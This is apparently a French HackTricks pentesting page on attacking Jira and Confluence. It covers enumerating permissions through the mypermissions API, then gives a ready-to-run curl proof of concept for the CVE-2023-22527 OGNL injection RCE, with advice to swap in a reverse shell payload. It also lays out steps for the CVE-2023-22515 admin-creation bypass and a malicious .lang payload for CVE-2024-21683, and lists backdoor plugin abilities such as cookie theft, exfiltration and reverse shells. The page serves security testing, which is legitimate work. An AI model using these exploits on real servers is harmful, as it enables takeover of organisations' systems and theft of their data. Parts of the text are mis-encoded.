Jira & Confluence
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Vérifier les privilÚges
Dans Jira, il est possible de vĂ©rifier les privilĂšges pour nâimporte quel utilisateur, authentifiĂ© ou non, via les endpoints /rest/api/2/mypermissions ou /rest/api/3/mypermissions. Ces endpoints rĂ©vĂšlent les privilĂšges actuels de lâutilisateur. Un point prĂ©occupant survient lorsque des utilisateurs non authentifiĂ©s disposent de privilĂšges, ce qui indique une vulnĂ©rabilitĂ© de sĂ©curitĂ© potentiellement Ă©ligible Ă une bounty. De mĂȘme, des privilĂšges inattendus pour des utilisateurs authentifiĂ©s signalent aussi une vulnĂ©rabilitĂ©.
Une importante mise Ă jour a Ă©tĂ© effectuĂ©e le 1er fĂ©vrier 2019, exigeant que lâendpoint âmypermissionsâ inclue un paramĂštre âpermissionâ. Cette exigence vise Ă renforcer la sĂ©curitĂ© en spĂ©cifiant les privilĂšges interrogĂ©s : check it here
- ADD_COMMENTS
- ADMINISTER
- ADMINISTER_PROJECTS
- ASSIGNABLE_USER
- ASSIGN_ISSUES
- BROWSE_PROJECTS
- BULK_CHANGE
- CLOSE_ISSUES
- CREATE_ATTACHMENTS
- CREATE_ISSUES
- CREATE_PROJECT
- CREATE_SHARED_OBJECTS
- DELETE_ALL_ATTACHMENTS
- DELETE_ALL_COMMENTS
- DELETE_ALL_WORKLOGS
- DELETE_ISSUES
- DELETE_OWN_ATTACHMENTS
- DELETE_OWN_COMMENTS
- DELETE_OWN_WORKLOGS
- EDIT_ALL_COMMENTS
- EDIT_ALL_WORKLOGS
- EDIT_ISSUES
- EDIT_OWN_COMMENTS
- EDIT_OWN_WORKLOGS
- LINK_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION
- MANAGE_WATCHERS
- MODIFY_REPORTER
- MOVE_ISSUES
- RESOLVE_ISSUES
- SCHEDULE_ISSUES
- SET_ISSUE_SECURITY
- SYSTEM_ADMIN
- TRANSITION_ISSUES
- USER_PICKER
- VIEW_AGGREGATED_DATA
- VIEW_DEV_TOOLS
- VIEW_READONLY_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS
- WORK_ON_ISSUES
Example: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
ĂnumĂ©ration automatisĂ©e
RCE rĂ©cents & notes pratiques dâexploitation (Confluence)
CVE-2023-22527 â unauthenticated template/OGNL injection (10.0)
- Affecte Confluence Data Center/Server 8.0.xâ8.5.3 & 8.4.5. Le template Velocity vulnĂ©rable
text-inline.vmpermet lâĂ©valuation OGNL sans authentification. - PoC rapide (la commande sâexĂ©cute en tant quâutilisateur confluence) :
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
- Lâen-tĂȘte de rĂ©ponse
x-cmdcontiendra la sortie de la commande. Remplacezidpar un payload reverse shell. - Scanner : nuclei template
http/cves/2023/CVE-2023-22527.yaml(ships in nuclei-templates â„9.7.5).
CVE-2023-22515 â rĂ©activation du setup et crĂ©ation dâun admin (auth bypass)
- Confluence Data Center/Server 8.0.0â8.5.1 accessible publiquement permet de basculer
setupCompleteet de relancer/setup/setupadministrator.actionpour créer un nouveau compte admin. - Minimal exploit flow :
GET /server-info.action(non authentifiĂ©) pour vĂ©rifier lâaccessibilitĂ©.POST /server-info.actionavec les paramĂštresbuildNumberpour basculer le flag setup.POST /setup/setupadministrator.actionavecfullName,email,username,password,confirmpour crĂ©er un admin.
CVE-2024-21683 â authenticated RCE via Code Macro upload
- Confluence Admin peut uploader une définition de langue spécifiquement conçue dans Configure Code Macro ; le moteur Rhino exécute du Java intégré, entraßnant une RCE.
- Pour obtenir un shell, téléversez un fichier
.langcontenant un payload comme :
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
- DĂ©clenchĂ© en sĂ©lectionnant le langage malveillant dans nâimporte quel corps de Code Macro. Metasploit module
exploit/multi/http/atlassian_confluence_rce_cve_2024_21683automatise auth + upload + exec.
Plugins Atlasian
Comme indiquĂ© dans ce blog, dans la documentation sur Plugin modules â il est possible de consulter les diffĂ©rents types de plugins, comme :
- REST Plugin Module â: Exposer des points de terminaison dâAPI RESTful
- Servlet Plugin Module â: DĂ©ployer des servlets Java dans le cadre dâun plugin
- Macro Plugin Module â: ImplĂ©menter des Confluence Macros, c.-Ă -d. des modĂšles HTML paramĂ©trĂ©s
Voici un exemple du type de plugin macro :
Exemple de plugin macro
```java package com.atlassian.tutorial.macro;import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;
import java.util.Map;
public class helloworld implements Macro {
public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(âNameâ) != null) { return (â
Hello â + map.get(âNameâ) + â!
â); } else { return âHello World!
â;
}
}
public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } }
</details>
Il est possible d'observer que ces plugins peuvent ĂȘtre vulnĂ©rables Ă des vulnĂ©rabilitĂ©s web courantes comme XSS. Par exemple, l'exemple prĂ©cĂ©dent est vulnĂ©rable car il reflĂšte des donnĂ©es fournies par l'utilisateur.
Une fois qu'un XSS est trouvé, dans [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) vous pouvez trouver des payloads pour augmenter l'impact du XSS.
## Backdoor Plugin
[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) décrit différentes actions (malicieuses) qu'un plugin Jira malveillant pourrait effectuer. Vous pouvez trouver [**code example in this repo**](https://github.com/cyllective/malfluence).
Ce sont quelques-unes des actions qu'un plugin malveillant pourrait effectuer :
- **Hiding Plugins from Admins**: Il est possible de cacher le plugin malveillant en injectant du javascript front-end
- **Exfiltrating Attachments and Pages**: Permet d'accéder et d'exfiltrer toutes les données.
- **Stealing Session Tokens**: Ajouter un endpoint qui renverra les headers dans la réponse (avec le cookie) et un javascript qui le contactera et leak the cookies.
- **Command Execution**: Bien sûr il est possible de créer un plugin qui exécutera du code.
- **Reverse Shell**: Ou obtenir un reverse shell.
- **DOM Proxying**: Si confluence est à l'intérieur d'un réseau privé, il serait possible d'établir une connexion via le navigateur d'un utilisateur ayant accÚs à celui-ci et par exemple contacter le serveur en exécutant des commandes à travers lui.
## Références
- [Atlassian advisory â CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A â Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** đŹ [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépÎts github.
>
> </details>


